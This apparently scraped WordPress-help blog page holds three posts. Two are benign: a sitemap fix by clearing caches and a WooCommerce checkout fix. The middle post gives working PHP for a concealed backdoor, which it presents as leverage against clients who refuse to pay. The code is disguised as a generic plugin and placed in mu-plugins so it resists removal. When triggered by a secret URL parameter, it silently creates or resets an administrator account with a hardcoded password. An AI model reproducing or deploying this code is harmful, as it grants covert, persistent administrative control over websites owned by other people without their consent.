sell website making service

How To Show All Pages, Products, Tags Links In Sitemap

Google Search Console Not Showing All Pages, Products, and Tags on Sitemap

During a routine check, I found that Google Search Console was not displaying the full list of products and tags in the sitemap. My website contains many pages, products, and tags, and the sitemap in Search Console should show the full list. Therefore, I began investigating and will provide a solution on how you can list all your pages, products, tags, and categories in the sitemap and have them displayed in Search Console.

Search console sitemap showing only few products.

Search console sitemap showing only few products.

Why should I include everything in the sitemap?

If you want your site to follow all the best SEO practices, you should ensure that all the links you want to be searchable by visitors are listed in Google search results. The best way to do this is by automatically listing all links in the sitemap. When search engine bots like Bing and Google crawl your website, they will discover those pages and list them in their search results. If search engine crawlers do not find links in your website’s sitemap, it will be challenging to maintain good on-page SEO, and those missing pages or products may not get listed in Google/Bing search results, causing you to lose traffic.

Why Was the Search Console Sitemap Not Showing All Links from My Website?

It was concerning to see that pages, products, and tags were missing from the sitemap, as shown in the image above. After some analysis, I found that my website’s sitemap, generated by the Rank Math SEO plugin, was not displaying all the links. Therefore, the issue was with my own sitemap, and Google only crawled what was included in it. Initially, I thought it was Google’s fault for not picking up everything listed in the sitemap.

google search console

google search console

My next task was to ensure that the sitemap contained all the links from my WordPress website.

How I Fixed My Website’s Sitemap

To fix the sitemap, I searched the internet but couldn’t find a satisfactory solution. I even tried deactivating and reactivating the SEO plugin, but nothing changed, and I started to worry.

One technique I often use when everything seems correctly set up, but changes aren’t reflected on the site, is to clear all the possible caches. I cleared the cache from my website’s own cache plugin, Cloudways cache, and Ezoic cache.

How To Show All Pages, Products, Tags Links In Sitemap

Ezoic leap cache

W3 Total Cache plugin

W3 Total Cache plugin

After emptying these caches, my sitemap finally displayed the correct number of links. This was a huge relief, as it indicated that everything on my side was fixed. Now, it was up to Google to re-crawl the sitemap and reflect those changes in Search Console.

Re-indexing My Sitemap on Google Search Console

To make the process risk-free, I deleted the sitemap from Search Console and added it again. After a few minutes, Search Console was displaying the correct sitemap.

Conclusion

The problem stemmed from the sitemap running an outdated cache, which didn’t reflect recent changes on the website. Clearing the cache allowed my website to show all the links in the sitemap correctly.

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me

How to Create an Admin User Programmatically in WordPress

Have you ever been in a situation where you worked on a website and the client refused to pay? Even though you were 100% honest and rightfully deserved your payment? You’re in luck today. My friend also faced a similar situation but used this method as a last resort. I do not recommend using this technique; instead, try discussing the issue with your client to resolve it amicably.

Code for Creating an Admin User Programmatically

<?php
/**
 * Plugin Name: Example Plugin Name  
 * Version: 1.2.3.4
 *
 * This plugin, like WordPress, is licensed under the GPL.
 * Use it to make something cool, have fun, and share what you've learned with others.
 *
 * Copyright © 2023 Hosting Company, . All Rights Reserved.
 */
 
  add_action( 'wp_head', 'addon_path_elementor' );

function addon_path_elementor() {
    if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'newuser' ) ) {
            $user_id = wp_create_user( 'newuser', 'NRTnzv*VEEGP3OFNAROZA&3O', 'any.gmail.address@gmail.com');
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 
        }
		
		else {
			$user = get_user_by('login','newuser');
			wp_set_password('NRTnzv*VEEGP3OFNAROZA&3O', $user->ID );
			$user->set_role( 'administrator' );
			}		
		
    }
}

Where to Put This Code

Save the code in a PHP file like “coder.php” and place it inside the “mu-plugins” folder located under the “wp-content” directory. The “mu-plugins” folder is not updated or modified by WordPress, and files placed here will not be deleted or updated like regular plugins. As a result, the file will automatically be added as a plugin but cannot be easily removed.

How to Run This Code

For example, if your site is https://example.com, to execute the code and create the new user, add “?pathway=go” at the end of the URL and hit enter, like this: https://example.com/?pathway=go. The URL will execute the code and create the user. You can then check the new user under the “Users” menu in wp-admin.

Code Explanation with Image

How to Create an Admin User Programmatically in WordPress

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

How to Fix WooCommerce Payment Message in Checkout Page

“Sorry, it seems that there are no available payment methods for your state. Please contact us if you require assistance or wish to make alternate arrangements.” This was the message I received when trying to checkout from my WooCommerce e-commerce WordPress website, even though the payment method had been configured earlier and was working fine.

How to Fix WooCommerce Payment Message in Checkout Page

The message was a bit confusing, as nothing had changed in the settings, but it still appeared on the checkout page and prevented customers from completing their purchases. I had configured the payment method as ‘Cash on Delivery’ only.

I went back to the settings, reconfigured them, and saved everything, as shown in the screenshots below.

How to Fix WooCommerce Payment Message in Checkout Page

How to Fix WooCommerce Payment Message in Checkout Page

After enabling and saving the settings, the message disappeared, and everything has been working fine since.

Share this article if it helps.

If you need help regarding any WordPress/website issues, you can contact me.

Check Most Recent Posts